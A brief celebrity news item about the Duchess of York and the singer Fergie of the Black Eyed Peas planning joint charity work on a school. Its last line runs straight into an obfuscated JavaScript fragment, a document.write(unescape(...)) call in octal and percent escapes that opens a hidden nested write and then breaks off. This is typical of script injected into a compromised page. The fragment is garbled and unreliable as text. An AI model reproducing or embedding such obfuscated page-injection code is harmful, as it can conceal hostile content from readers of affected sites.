The Duchess of York and Fergie from the Black Eyed Peas are teaming up on a charity project, according to the singer.
The two Fergies are working on plans to build a school for needy children.
Asked on GMTV if she had ever met the "other" Fergie, the singer said: "Yes, I had a conversation with her on the phone. It was great - I was talking to royalty!
"I think we are going to do some charity work together. I know that she builds schools and both my parents are teachers. I always had to get good grades so that is an important thing to me because it has helped me along in life."
The singer is the latest showbiz friend for Sarah Ferguson.
The mother of Princesses Eugenie and Beatrice recently partied on P Diddy's yacht in St Tropez with Paris Hilton and Penelope Cruz.
And in May she mingled with the likes of Sir Elton John and Liz Hurley at the Beckhams' Full Length and Fabulous Ball.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;